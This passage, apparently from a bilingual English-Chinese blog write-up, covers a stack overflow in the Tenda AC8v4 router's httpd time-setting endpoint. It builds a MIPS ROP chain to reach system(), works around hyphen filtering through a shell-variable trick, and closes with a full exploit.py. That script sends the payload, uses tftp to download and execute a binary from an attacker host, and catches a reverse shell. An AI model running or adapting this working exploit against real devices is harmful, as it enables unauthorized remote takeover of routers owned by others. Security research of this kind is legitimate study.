received SIGSEGV
at 0x77fa7640
, which is near just a few commands away from libc_base + _system: 0x77fa7630
, in one hand a good sign that we controlled the flow to the target libc_base + _system
symbol loaded in the libc.so
and the $a0
register is indeed modified into stack address pointing 0x646b6d60
. Nevertheless, the loaded libc
symbol system
seemed not to function as stop in 0x77fa7640
as lw $t9, -0x7f90($gp)
caused SIGSEGV
; But why?
嗯,./bin/httpd
在 0x77fa7640
收到了 SIGSEGV
,这离 只有几条命令的距离 libc_base + _system: 0x77fa7630
,一方面是一个好兆头,我们控制了流向 libc.so
中加载的目标 libc_base + _system
符号,$a 0
寄存器确实被修改成了栈地址指向0x646b6d60
。然而,加载的 libc
符号系统
似乎在 0x77fa7640
中不起作用,因为 lw $t 9, -0x7f90($gp)
导致了 SIGSEGV
;但是为什么?
The answer to this question is hidden in the current command: lw $t9, -0x7f90($gp)
, where the compiler tried to load word (lw
) from negative -0x7f90
offset of the global register $gp
. This is a normal action for libc
to load other symbols called in the current symbol for example here if you check the decompiled version of libc.so
in IDA Pro
, you will find that this command is loading memset
from the global symbols. However, due to the previous direct overflow component, the $gp
register seemed un-properly set here, causing the CPU
to access an illegal address 0x7800f34c
– which does not even exist on vmmap
segmentation! triggering the SIGSEGV
Segmentation error of the CPU
.
这个问题的答案隐藏在当前命令中: lw $t 9, -0x7f90($gp)
,其中编译器尝试从全局寄存器 $gp
的负 -0x7f90
偏移量加载字 (lw
)。这是 libc
加载当前 symbol 中调用的其他 symbol 的正常操作,例如这里如果你在 IDA Pro
中检查 libc.so
的反编译版本,你会发现这个命令是从全局 symbol 加载 memset
。但是,由于之前的直接溢出组件,$gp
寄存器在这里似乎设置不正确,导致 CPU
访问非法地址0x7800f34c
– 这在 vmmap
分段中甚至不存在!触发 CPU
的 SIGSEGV
Segmentation 错误。
Trial 2: $a0
+ $t9
?
试验 2:$a 0
+ $t 9
?
To solve this issue that’s blocking us, we will have to find a way for $gp
–0x7f90
to be a legit address – in the best case accurate address pointing symbol memset
from the loaded libc
; and here goes something fun, if you look above till when the system()
symbol is initialized or loaded around 0x004E630
, you will find this segment where it tells you how did $gp
come from.
为了解决这个阻碍我们的问题,我们必须找到一种方法让 $gp-0x7f90
成为合法地址 – 在最好的情况下,从加载的
libc
中准确地址指向符号 memset
;这里有一些有趣的事情,如果你看上面直到 system()
符号被初始化或加载到0x004E630
,你会发现这个部分告诉你$gp
是如何来的。
LOAD:0004E630 li $gp, (unk_9C2D0+0x7FF0 - .)
LOAD:0004E638 addu $gp, $t9
LOAD:0004E63C addiu $sp, -0x450
LOAD:0004E640 la $t9, memset
unfortunately, the li
instruction blocks for possible direct $gp
modification via ROP
before calling system()
, since here the $gp
will be loaded as immediate value (unk_9C2D0+0x7FF0 - .)
; Nevertheless, leaning forward, you will find addu $gp, $t9
, which tells us the actual cause is the register $t9
. Well, this is both great news and bad news. On one hand, it will be impossible to find a gadget that manipulates $gp
by a stack-based value and jmp
to another one due to the fact that $gp
is hardly changed via stack value at all, find $t9
will be much easier. On the other hand, we might need to construct a brand-new ROP-chain
for the exploitation.
不幸的是,li
指令在调用 system()
之前阻止了可能的通过 ROP
直接$gp
修改,因为这里 $gp
将加载为立即值 (unk_9C2D0+0x7FF0 - .)
;尽管如此,向前倾,您会发现 addu $gp $t 9
,它告诉我们实际原因是寄存器 $t 9
。嗯,这既是好消息也是坏消息。一方面,由于几乎不通过堆栈值更改$gp
因此无法找到一个通过基于堆栈的值操作 $gp
和 jmp
到另一个小工具,因此找到 $t 9
会容易得多。另一方面,我们可能需要构建一个全新的 ROP 链
来进行开发。
But before designing a chain modifying the $t9
register, it will be the best to check what value will be appropriate for $t9
:
但是在设计一个修改 $t 9
register 的链之前,最好检查什么值适合 $t 9
:
By setting breakpoint at 0x77f59000+0x004E630
(system()
); we can find that despite different commands is called as $a0
, the $t9
register will be always set to this magic address – 0x77fa7630
, which appears to be the exact starting command of the system()
symbol; also made $t9, -0x7f90($gp)
an legit address in the libc.soallocated memory
-> 0x77ff4000 0x77ff6000 rw-p 2000 8b000 /lib/libc.so
; Now it’s the time for us to construct the ROP-Chain
with $t9
manipulation, while allowing $a0
to arbitrary
and jmp
to loaded system()
in libc
.
通过在 0x77f59000+0x004E630
(system())
处设置断点;我们可以发现,尽管不同的命令被称为 $a 0
,但 $t 9
寄存器将始终设置为这个魔术地址 – 0x77fa7630
,这似乎是 system()
交易品种的确切起始命令;还将 $t 9, -0x7f90($gp)
设为 libc.soallocated 内存
-> 0x77ff4000 0x77ff6000 rw-p 2000 8b000 /lib/libc.so
中的合法地址 ;现在是时候用 $t 9
操作来构建 ROP 链
了,同时允许 $a 0
任意操作
和 jmp
在 libc
中加载 system()。
The million dollars question is: how can we control $t9
while allowing us to finally jmp
to our previous $a0
get-shell gadget; well, this required another mipsrop
-ing. By searching for move $t9
; we can find great loads gadgets
that fix our expectation for $t9
modification whether by direct valuing or indirect ones via registers:
百万美元的问题是:我们如何控制 $t 9
,同时允许我们最终 jmp
到我们之前的 $a 0
get-shell 小工具;嗯,这需要另一次 mipsrop-ing
。通过搜索移动 $t 9
;我们可以找到 Great Loads 小工具
,无论是通过直接估价还是通过寄存器间接估价,都可以解决我们对 $t 9
修改的期望:
Python>mipsrop.find('move $t9')
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
# tons of indentical gadgets at different address in libc.so.....
| 0x0006D970 | move $t9,$s4 | jr $s4 |
| 0x0006EFA0 | move $t9,$s3 | jalr $s3 |
| 0x0006EFD0 | move $t9,$s3 | jalr $s3 |
| 0x00070E14 | move $t9,$s2 | jalr $s2 |
| 0x00072E00 | move $t9,$s3 | jalr $s3 |
| 0x00075474 | move $t9,$v0 | jr $v0 |
| 0x00078190 | move $t9,$s1 | jalr $s1 |
| 0x000783D0 | move $t9,$s1 | jalr $s1 |
| 0x000784DC | move $t9,$s1 | jalr $s1 |
| 0x0007A19C | move $t9,$t1 | jalr $t1 |
| 0x0007A1B4 | move $t9,$t0 | jalr $t0 |
| 0x0007EA1C | move $t9,$t0 | jalr $t0 |
| 0x0007EBD8 | move $t9,$s2 | jalr $s2 |
| 0x0001B014 | move $t9,$s4 | jr 0x1C+var_s18($sp) |
----------------------------------------------------------------------------------------------------------------
However,to meet the requirement which would allows us to jmp
to other gadget
on the stack as the $a0
changer and stack-caller
; only the 0x0001B014
gadget will function as we expected! Which firstly move
register $s4
‘s value to $t9
, then jmp
into stack address 0x1C+var_s18($sp)
($sp + 0x1C + 0x18
) which will be storing the previous a0_EQ_sp24_c_JR_24sp
.
但是,为了满足允许我们将 jmp
到堆栈上的其他小工具
作为 $a 0
转换器和堆栈调用者
的要求;只有 0x0001B014
小工具可以按预期运行!首先将寄存器 $s 4
的值移动到
$t 9
,然后将 jmp
移动到堆栈地址 0x1C+var_s18($sp)
($sp + 0x1C + 0x18
) 中,该地址将存储前一个a0_EQ_sp24_c_JR_24sp
。
Nevertheless, it will also be necessary to look for the manipulation on $s4
register before the gadget 0x0001B014
gets triggered; this one will be a relatively easier job since $s4
is pretty common medium register in stack-controlling; which we will continuously use mipsrop.find()
for gadgets that fits mipsrop.find('.* $s4')
; as the $s4
being the operated register:
不过,在触发小工具0x0001B014
之前,还需要寻找 $s 4
寄存器上的操作;这将是一个相对容易的工作,因为 $s 4
是堆栈控制中非常常见的 medium register;我们将持续使用 mipsrop.find()
来表示适合 mipsrop.find('.* $s 4');
由于 $s 4
是操作寄存器:
Python>mipsrop.find('.* $s4')
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
# 70 lines that fits our requirement....
| 0x0007E8C8 | lw $s4,0x38+var_s10($sp) | jr 0x5C($sp) |
| 0x0007EB5C | lw $s4,0x44+var_s10($sp) | jr 0x5C($sp) |
----------------------------------------------------------------------------------------------------------------
This time mipsrop.find
returns with us other loads of gadgets
! which fortunately all contains stack-caller
gadgets such as jr 0x5C($sp)
additionally allows us to control $s4
via stack-based variable
via $sp
such as 0x38+var_s10($sp)
; This time, we will just simply choose the one looks nice while giving greater space on the stack with less collisional address of these two stack-pointing operated; which comparing to 0x0007EB5C
, 0x0007E8C8
leaved us with extra *((0x44+0x10)-(0x38-0x10)=0x2c
)*space for the $s4
(which doesn’t really matters that much for $s4
).
这一次 mipsrop.find
与我们一起返回了其他小工具
!幸运的是,其中都包含堆栈调用器
小工具,例如 JR 0x5C($sp)
还允许我们通过基于堆栈的变量
通过 $sp
控制 $s 4
例如 0x38+var_s10($sp)
;这一次,我们将简单地选择一个看起来不错的那个,同时在堆栈上提供更大的空间,同时这两个堆栈指向操作的冲突地址更少;与0x0007EB5C
相比,0x0007E8C8
为 $s 4
留下了额外的 *((0x44+0x10)-(0x38-0x10)=0x2c
)*空间(这对 $s 4
来说并不是那么重要)。
Now as that we can control $t9
via $s4
, which came from 0x44+var_s10($sp)
which will be set as the gadget0
via ret_addr
; we can now specific the jr
address of move $t9,$s4
, jr 0x1C+var_s18($sp)
to point at gadget addiu $a0,$sp,0x24+var_C
, which will obtain $a0
from sp+0x24+0xC
, then jr
to address that 0x24+var_s0($sp)
be pointing at.
现在我们可以通过 $s 4
来控制 $t 9
,它来自 0x44+var_s10($sp),
它将通过 ret_addr
设置为 gadget0
;我们现在可以将移动 $t 9,$s 4
, JR 0x1C+var_s18($sp)
的 JR
地址指定指向小工具 addiu $a 0,$sp,0x24+var_C
,它将从 sp+0x24+0xC
获得 $a 0
,然后 jr
来寻址 0x24+var_s0($sp)
指向。
As now, we can construct payload as:
和现在一样,我们可以将 payload 构造为:
+------offset------+------value---------------------------------------+ <|-- g0
| ret_addr | lw $s4,0x38+var_s10($sp) + jr 0x5C($sp)) | ---
|------------------+--------------------------------------------------| |
| $sp+0x24 | libc_base + system() | |
|------------------+--------------------------------------------------| | g1
| $sp+0x30 | command_for_$a0 | |
|------------------+--------------------------------------------------|<|-|---
| $sp+0x34 | addiu $a0,$sp,0x24+var_C + jr 0x24+var_s0($sp) | | |
|------------------+--------------------------------------------------| | |
| $sp+0x48 | #s4_content | | | g2
+------------------+--------------------------------------------------|<|-| |
| $sp+0x5C | move $t9,$s4 + jr 0x1C+var_s18($sp) |-------
+------------------+--------------------------------------------------+
Trial 3: The Evil $sp
试炼 3:邪恶$sp
Now, if we simply align all these gadgets and operated data on the stack using the sp_offset
that we obtained previously via cyclic
, you will find something very interesting: It doesn’t works at all! But why? lets dig back into these gadgets we collected previously. Taking the previous and now the first gadget
that our return_addr
will be directly pointing, other than the lw $s4,0x44+var_s10($sp); jr 0x5C($sp)
part we all see, there’s actually a part hidden.
现在,如果我们简单地使用之前通过 Cyclic
获得sp_offset
来对齐堆栈上的所有这些小工具和操作数据,你会发现一些非常有趣的事情:它根本不起作用!但是为什么?让我们重新深入研究我们之前收集的这些小工具。以我们的return_addr
将直接指向的前一个和现在的第一个小工具
为例,除了我们都看到的部分 lw $s4,0x44+var_s10($sp); jr 0x5C($sp)
之外,实际上还隐藏了一部分。
IDA
allows us to examinate the instruction at a specified address by simply double-clicking on the address itself, in our case, double-clicking on the 0x0007E8C8
, it will take us to here:
IDA
允许我们通过简单地双击地址本身来检查指定地址的指令,在我们的例子中,双击 0x0007E8C8
,它会将我们带到这里:
LOAD:0007EB5C loc_7EB5C:
LOAD:0007EB5C lw $ra, 0x44+var_s18($sp)
LOAD:0007EB60 lw $s5, 0x44+var_s14($sp)
LOAD:0007EB64 lw $s4, 0x44+var_s10($sp)
LOAD:0007EB68 lw $s3, 0x44+var_sC($sp)
LOAD:0007EB6C lw $s2, 0x44+var_s8($sp)
LOAD:0007EB70 lw $s1, 0x44+var_s4($sp)
LOAD:0007EB74 lw $s0, 0x44+var_s0($sp)
LOAD:0007EB78 jr $ra
LOAD:0007EB7C addiu $sp, 0x60
as 0x0007E8C8
and 0007EB5C
defined, the Action
and Control Jump
gadget is exactly as what we expected; between the Action
and the Control Jump
gadgets, the gadget
we manipulated to jmp
to also contains other instruction for example here, the s1-s5
register is furthermore effected to the stack-content that we overflown; However, what’s most important is, the $sp
modification still applies to us even after the jr $ra
(0x44+var_s18($sp)
) instruction; What this meant for us is that the $sp
pointer in our payload will needs to be re-constructed considering the rise of lower of the $sp
cause by previous gadget
; For instance, as our next gadget
goes to 0x0001B014
the move $t9,$s4; jr 0x5C($sp)
and the $sp
had been raised by 0x60
; the actual 0x5C($sp)
will be sp_offset
+ 0x60
+ 0x1C
+ 0x18
= sp_offset
+ 0x60
+ 0x34
; this goes same for our gadget1
, which also changed $sp
pointer by the value
of +0x38
:
正如 0x0007E8C8
和 0007EB5C
所定义的那样,Action
and Control Jump
小工具完全符合我们的预期;在 Action
和 Control Jump
小工具之间,我们操作 jmp
的小工具
还包含其他指令,例如在这里,s1-s5
寄存器进一步影响我们溢出的堆栈内容;然而,最重要的是,即使在 jr $ra
(0x44+var_s18($sp)
) 指令之后,$sp
修改仍然适用于我们;这对我们来说意味着,考虑到先前设备
导致 lower of $sp
的增加,我们的 payload 中的 $sp
指针将需要重新构造;例如,当我们的下一个小工具
开始0x0001B014
移动 $t 9,$s 4; jr 0x5C($sp)
并且$sp
已经由 0x60
加注;实际0x5C($sp)
将为 sp_offset
+ 0x60
+ 0x1C
+ 0x18
= sp_offset
+ 0x60
+ 0x34
;我们的 gadget1
也是如此,它也$sp
指针更改了
+0x38
的值:
LOAD:0001B014 move $t9, $s4
LOAD:0001B018 lw $ra, 0x1C+var_s18($sp)
LOAD:0001B01C lw $s5, 0x1C+var_s14($sp)
LOAD:0001B020 lw $s4, 0x1C+var_s10($sp)
LOAD:0001B024 lw $s3, 0x1C+var_sC($sp)
LOAD:0001B028 lw $s2, 0x1C+var_s8($sp)
LOAD:0001B02C lw $s1, 0x1C+var_s4($sp)
LOAD:0001B030 lw $s0, 0x1C+var_s0($sp)
LOAD:0001B034 jr $ra
LOAD:0001B038 addiu $sp, 0x38
At this point, with modified $sp
, we can reconstruct our payload with new $sp
offset which is decided by the call sequence of these gadgets, which leads us to this with rop chain
: lw $s4 0x48; jr 0x5c
-> move $t9,$s4 jr 0x34($sp)
-> addiu $a0,$sp,0x28+var_C | jr 0x24($sp
); with defined $sp
of
此时,通过修改$sp
,我们可以使用新的$sp
偏移量重建我们的有效载荷,这是由这些小工具的调用顺序决定的,这导致我们使用 rop 链
:lw $s 4 0x48; jr 0x5c
-> move $t 9,$s 4 jr 0x34($sp)
-> addiu $a0,$sp,0x28+var_C | jr 0x24($sp
);定义$sp
-
sp_offset
->0x7f
: defined at sink.
sp_offset
->0x7f
:在 sink 定义。 -
sp2
->0x60
:addiu $sp, 0x60
.
sp2
->0x60
:addiu $sp, 0x60
. -
sp3
->0x38
:addiu $sp, 0x38
.
sp3
->0x38
:addiu $sp, 0x38
.
_payload = {
ret_offset: libc_base + lw_s4_0x48_JR_5Csp, # gad0
(sp_offset + 0x48): t9_target,
(sp_offset + 0x38 + 0x18): f'{c2}'.encode(), # $s6, 0x38+var_s18($sp)
(sp_offset + 0x5c): libc_base + t9_EQ_s4_JR_1C_p_18, # gad1
(sp_offset + 0x60 + 0x1C + 0x10): f'{c1}'.encode(),
# flow2 $s4-$s5 (caller), this is set via previous control-ed registers
(sp_offset + 0x60 + 0x34): libc_base + a0_EQ_sp24_c_JR_24sp,
(sp_offset + 0x60 + 0x38 + 0x24): libc_base + _system, # gad2
(sp_offset + 0x60 + 0x38 + 0x24 + 0xC - 0x7): f'$({c3});'.encode()
}
For some mysterious reason, system()
seem also taking argument at $s4-s6
, which $s4-$s5
is set as collateral for t9_EQ_s4_JR_1C_p_18
(move $t9, $s4
), $s6
is set as collateral for gadget1
as specified stack-based
offset of 0x38+var_s18($sp)
; which enable us to execute a 8-bytes
command via system()
. Nevertheless, as $a0
set at gadget3
as a0_EQ_sp24_c_JR_24sp
with offset sp_offset + 0x60 + 0x38 + 0x24 + 0xC - 0x7
, we can execute arbitrary length command!
出于某种神秘的原因,system()
似乎也在 $s 4-s6
处进行参数,其中 $s 4-$s 5
被设置为t9_EQ_s4_JR_1C_p_18
的抵押品(移动 $t 9, $s 4
),$s 6
被设置为小工具1
的抵押品,作为指定的基于堆栈
的偏移量 0x38+var_s18($sp);
这使我们能够通过 system()
执行 8 字节的
命令。不过,由于 gadget3
的 $a 0
设置为 a0_EQ_sp24_c_JR_24sp
和 offset sp_offset + 0x60 + 0x38 + 0x24 + 0xC - 0x7
,我们可以执行任意长度的命令!
Aftermath: Wget-less and Hyphen-less
后果:wget-less 和 hyphen-less
At this point, executing arbitrary commands on the Tenda Ac8v4
Router will a easy-peasy task for us. Nevertheless, if you ever logged into the QEMU VM
that was created for this router’s file system, you will there’s pretty nothing we can run, even scp
and wget
don’t exist in busybox
, then how can we create a reverse-shell back to our machine? Well, the answer still hides in the busybox
:
此时,在腾达 Ac8v4
路由器上执行任意命令对我们来说将是一项轻松的任务。然而,如果你曾经登录过为这个路由器的文件系统创建的 QEMU VM
,你几乎什么都无法运行,即使 scp
和 wget
也不存在于 busybox
中,那么我们如何创建一个反向 shell 回到我们的机器呢?好吧,答案仍然隐藏在 busybox
中:
Currently defined functions:
[[, adduser, arp, ash, awk, brctl, cat, chmod, cp, date, depmod,
dev, echo, egrep, env, expr, false, fgrep, free, grep, halt,
ifconfig, init, insmod, kill, killall, linuxrc, ln, login, ls, lsmod,
mdev, mkdir, mknod, modprobmount, mv, netstat, passwd, ping, ping6,
poweroff, ps, pwd, reboorm, rmdir, rmmod, route, sed, sh, sleep,
sulogin, sync, tar, telnetd, test, tftp, top, touch, traceroute,
traceroute6, true, umount, uptime, usleep, vconfig, vi, yes
among all these fun functions, only one caught my eye: tftp
; (such ironic since the only way for the router itself to communicate with the internet is via tftp
or telnetd
and ping
) with tftp
, it came to our mind to build an reverse-shell connecting malware and host on our tftp
; then fetch it via the router’s tftp
binary; which furthermore we can chomd +x
and ./RUNIT
, creating an reverse-shell! How fun is that! By hosting the tftp
server remotely, use: sudo apt-get install xinetd tftpd tftp
and specific you server_arg
in /etc/xinetd.d/tftp
, you can follow this tutorial.
在所有这些有趣的功能中,只有一个引起了我的注意:TFTP
;(具有讽刺意味的是,路由器本身与 Internet 通信的唯一方式是通过 TFTP
或 Telnetd
和 ping
)使用 TFTP
,我们想到在我们的 TFTP
上构建一个连接恶意软件和主机的反向 shell;然后通过路由器的 tftp
二进制文件获取它;此外,我们还可以 chomd +x
和 ./RUNIT
,创建一个反向 shell!那多有趣啊!通过远程托管 tftp
服务器,使用 : sudo apt-get install xinetd tftpd tftp
并在 /etc/xinetd.d/tftp
中server_arg
具体内容,您可以按照本教程进行操作。
This approach seemed really promising, but after try fetch our written malware, you will find something pretty strange; when we passed the command $(tftp -g -r rs 192.168.31.101 && chmod +x rs && ./rs 192.168.31.101 9000)
into the c3
, the backend of the ./bin/httpd
will kept erroring unfinished ()
; why will that be? well, taking a peak back at our sink, you might understand how (I was confused with this about 2 hours as I thought it was problems with my payload but is not):
这种方法似乎真的很有前途,但是在尝试获取我们编写的恶意软件后,您会发现一些非常奇怪的东西;当我们将命令 $(tftp -g -r rs 192.168.31.101 && chmod +x rs && ./rs 192.168.31.101 9000)
传递给 C3
时,./bin/httpd
的后端会一直出错 unfinished ()
;为什么会这样呢?好吧,回到我们的水槽,你可能会明白怎么做(大约 2 小时我对这个感到困惑,因为我认为这是我的有效载荷有问题,但事实并非如此)):
int __fastcall sub_4A79EC(int a1)
{
....
s = (char *)websGetVar(a1, "time", &unk_4F09E0);
sscanf(s, "%[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s", v6, v8, v10, v12, v14, v16);
v18.tm_year = atoi((const char *)v6) - 0x76C;
v18.tm_mon = atoi((const char *)v8) - 1;
....
}
As if you remember, the logic that sub_4A79EC
will results stack-based overflow
is due to the fact that it scans s
-> (char *)websGetVar(a1, "time", &unk_4F09E0);
into v6, v8, v10, v12, v14, v16
with no limitation on the boundary. Allowing us to construct a payload: time=retr0:xxxxx<overflowing_character>xxxxx
to cause overflow
. Recall how we described this sccanf
works in regex
,
如果您还记得,sub_4A79EC
将导致基于堆栈的溢出
的逻辑是由于它将 s
-> (char *)websGetVar(a1, "time", &unk_4F09E0);
扫描到 v6、v8、v10、v12、v14、v16
中,对边界没有限制。允许我们构造一个 payload: time=retr0:xxxxx<overflowing_character>xxxxx
来造成溢出
。回想一下我们是如何在正则表达式
中描述这个 sccanf
工作的,
here the
sscanf
filters the input by the regex%[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s
; which extracts data intov6
orv9
orv10
or … asdata1:data2:data2
prdata1-data2-data3
; which as these variables located on the stack; being even more dangerously
这里sscanf
按 regex%[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s
过滤 input ;它将数据提取到v6
或v9
或v10
或 …asdata1:data2:data2
prdata1-data2-data3
;which 作为这些变量位于堆栈上;变得更加危险
sscanf
extracts our data using :
or -
as delimiter; including the tftp -g -r rs
‘s hyphen -g
as well! this will result the sscanf
to truncate the original outputting into v6, v8, v10
, thus only the prefix until the -
will be kept and executed! leading to the un-finishing of ()
. Failing command execution. Then how can we solve the Hyphen Issue?
sscanf
使用 :
或 -
作为分隔符提取我们的数据;包括 tftp -g -r rs
的连字符 -g
!这将导致 sscanf
将原始输出截断为 v6、v8、v10
,因此只有 -
之前的前缀将被保留并执行!导致 ()
的未完成。命令执行失败。那么我们如何解决连字符问题呢?
Here I used a pretty fun solution: as bash
allows save output of an command and slice similar as how python’s [::]
works, we can try to obtain -
from command output and save the sliced -
as a environmental variable
and replace the -
with the saved character environmental variable
whenever our payload contains it! As instance, if you run command tftp
in the busybox
, this is what it will outputs:
在这里,我使用了一个非常有趣的解决方案:由于 bash
允许保存命令和切片的输出,类似于 python 的 [::]
的工作方式,我们可以尝试从命令输出中获取 -
并将切片的 -
保存为环境变量
,并在我们的有效负载包含它时将 -
替换为保存的字符环境变量
!例如,如果您在 busybox
中运行命令 tftp
,它将输出以下内容:
BusyBox v1.19.2 (2022-12-20 11:55:28 CST) multi-call binary.
Usage: tftp [OPTIONS] HOST [PORT]
Transfer a file from/to tftp server
-l FILE Local FILE
-r FILE Remote FILE
-g Get file
-p Put file
-b SIZE Transfer blocks of SIZE
Now, if we save the output via output=$(tftp 2>&1)
, then count the location of -l
‘s -
(which is47
), then save the character into another variable for instance spec
; Now whenever we need to use the character -
, we can simply add prefix output=$(tftp 2>&1);spec=${output:47:1};
before the command and replace all -
which will not trigger the truncation of sscanf
, allowing us to specific arguments which enable us to fetch and execute the file download via $(tftp -g -r rs 192.168.31.101 && chmod +x rs && ./rs 192.168.31.101 9000)
!!!
现在,如果我们通过 output=$(tftp 2>&1)
保存输出,然后计算 -l
的 -
(即47
)的位置,然后将字符保存到另一个变量中,例如 spec
;现在每当我们需要使用字符 -
时,我们只需在命令 output=$(tftp 2>&1);spec=${output:47:1};
前添加前缀并替换所有 -
这不会触发 sscanf
的截断,允许我们使用特定的参数,使我们能够通过 $(tftp -g -r rs 192.168.31.101 && chmod +x rs && ./rs 192.168.31.101 9000)
!! 获取和执行文件下载
And now we own the router:)
现在我们拥有了路由器 :)
exploit.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#File: exploit.py
#Author: Patrick Peng (retr0reg)
import requests
import argparse
import threading
from pwn import log, context, flat, listen
from typing import NamedTuple
session = requests.Session()
session.trust_env = False
def ap():
parser = argparse.ArgumentParser()
parser.add_argument(“host”,type=str,
help=”exploiting ip”)
parser.add_argument(“port”,type=int,
help=”exploiting port”)
parser.add_argument(
“attacker_host”,
help=”attacker host”
)
args = parser.parse_args()
return [”,f’tftp -g -r rs {args.attacker_host} && chmod +x rs && ./rs {args.attacker_host} 9000′], args.host, args.port
class RopCmd(NamedTuple):
second: str
def pwn(
ropcmd: RopCmd,
host: str = ‘192.168.31.106’,
port: int = 80,
):
listener = listen(9000)
context(arch = ‘mips’,endian = ‘little’,os = ‘linux’)
def sink(
payload
):
url = f”http://{host}:{port}/goform/SetSysTimeCfg”
_payload = b”
_payload = b’retr0reg’ + b”:” + payload
data = {
b”timeType”:b”manual”,
b”time”:_payload
}
def send_request():
try:
requests.post(url=url, data=data)
except Exception as e:
print(f”Request failed: {e}”)
thread = threading.Thread(target=send_request)
thread.start()
def _rop(ropcmd: RopCmd):
# rop-chain:
# lw $s4 0x48; jr 0x5c
# move $t9,$s4; jr 0x34($sp)
# addiu $a0,$sp,0x28+var_C | jr 0x24($sp)
#
# 77f59000-77fe5000 r-xp 00000000 08:01 788000
libc_base = 0x77f59000
_system = 0x004E630
t9_target = 0x77fa7630
ret_offset = 0x7b # -> b’bgaa’
sp_offset = 0x7f # –> b’bhaa’
sp2 = 0x60 # LOAD:0007EB7C
sp3 = 0x38 # LOAD:0001B038
print(‘\n’)
log.success(“Exploit started!”)
log.info(f”retaddr offset: {hex(ret_offset)}”)
log.info(f”$sp offset: {hex(sp_offset)}”)
log.info(f”libc_base -> {hex(libc_base)}”)
lw_s4_0x48_JR_5Csp = 0x0007E8C8 # lw $s4,0x38+var_s10($sp) | jr 0x5C($sp)
# LOAD:0007E8CC move $v0, $s0
# LOAD:0007E8D0 lw $fp, 0x38+var_s20($sp)
# LOAD:0007E8D4 lw $s7, 0x38+var_s1C($sp)
# LOAD:0007E8D8 lw $s6, 0x38+var_s18($sp)
# LOAD:0007E8DC lw $s5, 0x38+var_s14($sp)
# LOAD:0007E8E0 lw $s4, 0x38+var_s10($sp)
# LOAD:0007E8E4 lw $s3, 0x38+var_sC($sp)
# LOAD:0007E8E8 lw $s2, 0x38+var_s8($sp)
# LOAD:0007E8EC lw $s1, 0x38+var_s4($sp)
# LOAD:0007E8F0 lw $s0, 0x38+var_s0($sp)
# LOAD:0007E8F4 jr $ra
# LOAD:0007E8F8 addiu $sp, 0x60
t9_EQ_s4_JR_1C_p_18 = 0x0001B014 # move $t9,$s4 | jr 0x1C+0x18($sp)
# LOAD:0001B018 lw $ra, 0x1C+var_s18($sp)
# LOAD:0001B01C lw $s5, 0x1C+var_s14($sp)
# LOAD:0001B020 lw $s4, 0x1C+var_s10($sp)
# LOAD:0001B024 lw $s3, 0x1C+var_sC($sp)
# LOAD:0001B028 lw $s2, 0x1C+var_s8($sp)
# LOAD:0001B02C lw $s1, 0x1C+var_s4($sp)
# LOAD:0001B030 lw $s0, 0x1C+var_s0($sp)
# LOAD:0001B034 jr $ra
# LOAD:0001B038 addiu $sp, 0x38
a0_EQ_sp24_c_JR_24sp = 0x0004D144 # addiu $a0,$sp,0x24+var_C | jr 0x24($sp)
# LOAD:0004D144 addiu $a0, $sp, 0x24+var_C
# LOAD:0004D148 lw $ra, 0x24+var_s0($sp)
# LOAD:0004D14C nop
# LOAD:0004D150 jr $ra
a0_EQ_sp28_c_JR_24sp = 0x00058920 # addiu $a0,$sp,0x28+var_C | jr 0x24($sp)
# LOAD:00058920 addiu $a0, $sp, 0x28+var_C
# LOAD:00058924 lw $v1, 0x28+var_C($sp)
# LOAD:00058928 lw $ra, 0x28+var_4($sp)
# LOAD:0005892C sw $v1, 0($s0)
# LOAD:00058930 lw $s0, 0x28+var_8($sp)
# LOAD:00058934 jr $ra
print(”)
log.success(“Ropping….”)
log.info(f”gadget lw_s4_0x48_JR_5Csp -> {hex(libc_base + lw_s4_0x48_JR_5Csp)}”)
log.info(f”gadget t9_EQ_s4_JR_1C_p_18 -> {hex(libc_base + t9_EQ_s4_JR_1C_p_18)}”)
log.info(f”gadget a0_EQ_sp24_c_JR_24sp -> {hex(libc_base + a0_EQ_sp24_c_JR_24sp)}”)
log.info(f”_system -> {hex(libc_base + _system)}”)
c1 = “”
c2 = “”
c3 = “output=$(tftp 2>&1);spec=${output:47:1};” + ropcmd[1].replace(‘-‘,’$(echo $spec)’)
log.info(f”Inject $a0: {c3}”)
_payload = {
ret_offset: libc_base + lw_s4_0x48_JR_5Csp, # flow1
(sp_offset + 0x48): t9_target,
(sp_offset + 0x38 + 0x18): f'{c2}’.encode(), # $s6, 0x38+var_s18($sp)
(sp_offset + 0x5c): libc_base + t9_EQ_s4_JR_1C_p_18, # flow2
(sp_offset + sp2 + 0x1C + 0x10): f'{c1}’.encode(), # flow2 $s4-$s5 (caller), this is set via previous control-ed registers
(sp_offset + sp2 + 0x34): libc_base + a0_EQ_sp24_c_JR_24sp,
(sp_offset + sp2 + sp3 + 0x24): libc_base + _system, # flow3
(sp_offset + sp2 + sp3 + 0x24 + 0xC – 0x7): f’$({c3});’.encode()
}
print(”)
log.success(“Stack looks like:”)
for key, value in _payload.items():
try:
log.info(f”offset: {hex(key)} : {hex(value)}”)
except TypeError:
pass
# $sp growth -> +0x60 -> 0x38
#
# | retaddr | lw_s4_0x48_JR_5Csp | i. (gadget address)
# | (current sp) | | ($spsz1=0d127)
# | $sp1+0x48 | t9_target | i -> $s4
# | $sp2+0x5c | t9_EQ_s4_JR_1C_p_18 | ii <- $t9 ($spsz2+=0x60)
# | $sp1+$sp2+$sp3-0xC | command | <- $a0
# | $sp1+$sp2+0x34 | a0_EQ_sp24_c_JR_24sp | iii. ($spsz3+=38)
# | $sp1+$sp2+$sp3+0x24 | _system | <- jmp
return flat(_payload)
payload = _rop(ropcmd)
sink(payload=payload)
print(”)
listener.wait_for_connection()
log.critical(“Recieved shell!”)
listener.interactive()
if __name__ == “__main__”:
ropcmd, host, port = ap()
log.info(“0reg.dev – retr0reg”)
log.info(“Tenda AC8v4 stack-based overflow”)
print(”)
print(
“””\
__________ __ _______
\______ \ _____/ |________ \ _ \_______ ____ ____
| _// __ \ __\_ __ \/ /_\ \_ __ \_/ __ \ / ___\
| | \ ___/| | | | \/\ \_/ \ | \/\ ___// /_/ >
|____|_ /\___ >__| |__| \_____ /__| \___ >___ /
\/ \/ \/ \/_____/
“””
